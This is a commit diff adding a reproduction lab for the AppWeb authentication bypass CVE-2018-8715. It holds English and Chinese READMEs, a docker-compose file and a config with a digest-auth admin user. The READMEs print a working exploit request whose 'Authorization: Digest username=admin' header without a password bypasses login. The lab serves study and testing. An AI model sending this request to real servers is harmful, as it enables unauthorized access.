first commit

appweb/CVE-2018-8715/README.md

@@ -0,0 +1,52 @@
+# AppWeb Authentication Bypass vulnerability (CVE-2018-8715)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+AppWeb is an embedded Web Server based on an open source GPL agreement that was developed and maintained by Embedthis Software LLC. It is written in C/C++ and can run on almost any modern operating system. Of course, it aims to provide a Web Application container for embedded devices.
+
+AppWeb can be configured for authentication, which includes the following three authentication methods:
+
+- `basic`, traditional HTTP basic authentication
+- `digest`, improved HTTP basic authentication. At this mode, the Cookie will be used to authentication instead of `Authorization` header.
+- `form`, HTML based form authentication
+
+In the Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in `http/httpLib.c`. With a forged HTTP request, it is possible to bypass authentication for the `form` and `digest` login types.
+
+Reference link:
+
+- https://ssd-disclosure.com/index.php/archives/3676
+
+## Vulnerability environment
+
+Launch an Appweb 7.0.1 server with `digest` authentication by executing the following command:
+
+```
+docker compose up -d
+```
+
+To access `http://your-ip:8080`, you need to enter your account password.
+
+## Exploit
+
+The current username is `admin`, so you can use following request to bypass the authentication:
+
+```
+GET / HTTP/1.1
+Host: example.com
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Authorization: Digest username=admin
+
+
+```
+
+As you can see, since we did not pass in the password field, the server error occurred with a `200 status code` and the session setting header:
+
+![](1.png)
+
+The page can be accessed normally with this session header:
+
+![](2.png)

appweb/CVE-2018-8715/README.zh-cn.md

@@ -0,0 +1,52 @@
+# AppWeb认证绕过漏洞（CVE-2018-8715）
+
+AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写，能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。
+
+AppWeb可以进行认证配置，其认证方式包括以下三种：
+
+- basic 传统HTTP基础认证
+- digest 改进版HTTP基础认证，认证成功后将使用Cookie来保存状态，而不用再传递Authorization头
+- form 表单认证
+
+其7.0.3之前的版本中，对于digest和form两种认证方式，如果用户传入的密码为`null`（也就是没有传递密码参数），appweb将因为一个逻辑错误导致直接认证成功，并返回session。
+
+参考链接：
+
+- https://ssd-disclosure.com/index.php/archives/3676
+
+## 漏洞环境
+
+执行如下命令启动一个带有digest认证的Appweb 7.0.1服务器：
+
+```
+docker compose up -d
+```
+
+访问`http://your-ip:8080`，可见需要输入账号密码。
+
+## 漏洞复现
+
+利用该漏洞需要知道一个已存在的用户名，当前环境下用户名为`admin`。
+
+构造头`Authorization: Digest username=admin`，并发送如下数据包：
+
+```
+GET / HTTP/1.1
+Host: example.com
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Authorization: Digest username=admin
+
+
+```
+
+可见，因为我们没有传入密码字段，所以服务端出现错误，直接返回了200，且包含一个session：
+
+![](1.png)
+
+设置这个session到浏览器，即可正常访问需要认证的页面：
+
+![](2.png)

appweb/CVE-2018-8715/appweb.conf

@@ -0,0 +1,8 @@
+Listen       0.0.0.0:8080
+Documents "/var/www/appweb"
+
+AddHandler fileHandler
+
+AuthStore config
+User admin 2fd6e47ff9bb70c0465fd2f5c8e5305e user
+AuthType digest example.com

appweb/CVE-2018-8715/docker-compose.yml

@@ -0,0 +1,8 @@
+version: '2'
+services:
+ web:
+   image: vulhub/appweb:7.0.1
+   volumes:
+    - ./appweb.conf:/etc/appweb/appweb.conf
+   ports:
+    - "8080:8080"